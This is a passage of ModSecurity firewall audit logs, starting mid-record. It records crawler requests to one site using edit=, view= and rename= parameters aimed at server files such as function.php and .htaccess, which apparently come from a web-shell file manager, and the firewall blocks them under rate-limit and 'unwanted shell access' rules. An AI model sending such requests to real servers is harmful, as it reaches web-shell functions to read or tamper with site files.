\"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/atito.com/js/map-plugins.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator GT matched 30 at SESSION:cld_limit."},"stopwatch":{"p1":350,"p2":3059,"p3":0,"p4":0,"p5":576,"sr":169,"sw":122,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:07:35.394605 +0100","transaction_id":"abPh51QCd8W53Be-qe-AcwAAAg0","remote_address":"216.73.216.152","remote_port":45582,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fatito.com%2Fjs%2Fscripts.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"8de80796fdfb31935bbfdce3c3712433","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12062388"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"8de80796fdfb31935bbfdce3c3712433","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/atito.com/js/scripts.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":311,"p2":2621,"p3":0,"p4":0,"p5":494,"sr":151,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:07:35.486287 +0100","transaction_id":"abPh5_a6lumP0T36rfGKhQAAAEk","remote_address":"216.73.216.152","remote_port":33542,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fnew_jmk%2Ffonction%2Ffunction.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"28d3759600163c3e3a01ffd4ed017fe4","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14323468"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"28d3759600163c3e3a01ffd4ed017fe4","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"438\"] [id \"77360582\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:31||Range:||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/new_jmk/fonction/function.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator GT matched 30 at SESSION:cld_limit."},"stopwatch":{"p1":353,"p2":2914,"p3":0,"p4":0,"p5":602,"sr":170,"sw":137,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:07:35.577710 +0100","transaction_id":"abPh51H1YMuwIMtyvU1ihgAAAdA","remote_address":"216.73.216.152","remote_port":34922,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fnew_jmk%2Ffonction%2Ffunction.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"bdc2094e73612a82a41ce1bea7fe42c1","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12422518"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"bdc2094e73612a82a41ce1bea7fe42c1","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"438\"] [id \"77360582\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:31||Range:||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/new_jmk/fonction/function.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator GT matched 30 at SESSION:cld_limit."},"stopwatch":{"p1":340,"p2":4163,"p3":0,"p4":0,"p5":700,"sr":174,"sw":139,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:08:19.304506 +0100","transaction_id":"abPiEzPdmgxGrrIlyaIpkwAAAJY","remote_address":"216.73.216.152","remote_port":33356,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fnew_jmk%2Ffonction%2F.htaccess.htaccess HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"5c2381f0cf0619ead57b8514d9ce0db0","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3218288"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"5c2381f0cf0619ead57b8514d9ce0db0","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). Pattern match \"\\\\.htaccess\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"288\"] [id \"430010\"] [msg \"Malware.Expert - request_uri: unwanted shell access\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"\\\\\\\\\\\\\\\\.htaccess\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"288\"] [id \"430010\"] [msg \"Malware.Expert - request_uri: unwanted shell access\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/agriculture-products/\"] [unique_id \"abPiEzPdmgxGrrIlyaIpkwAAAJY\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"\\\\.htaccess\" at REQUEST_URI."},"stopwatch":{"p1":323,"p2":4830,"p3":0,"p4":0,"p5":489,"sr":239,"sw":127,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:08:35.590400 +0100","transaction_id":"abPiI1QCd8W53Be-qe-BFAAAAhU","remote_address":"216.73.216.152","remote_port":48770,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fnew_jmk%2Ffonction%2F.htaccess.htaccess HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"15f43a5d28b8ea395c4767b42ebfbb35","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12977904"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"15f43a5d28b8ea395c4767b42ebfbb35","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). Pattern match \"\\\\.htaccess\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"288\"] [id \"430010\"] [msg \"Malware.Expert - request_uri: unwanted shell access\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"\\\\\\\\\\\\\\\\.htaccess\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"288\"] [id \"430010\"] [msg \"Malware.Expert - request_uri: unwanted shell access\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/agriculture-products/\"] [unique_id \"abPiI1QCd8W53Be-qe-BFAAAAhU\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"\\\\.htaccess\" at REQUEST_URI."},"stopwatch":{"p1":304,"p2":9236,"p3":0,"p4":0,"p5":491,"sr":241,"sw":127,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}

Back to Directory File Manager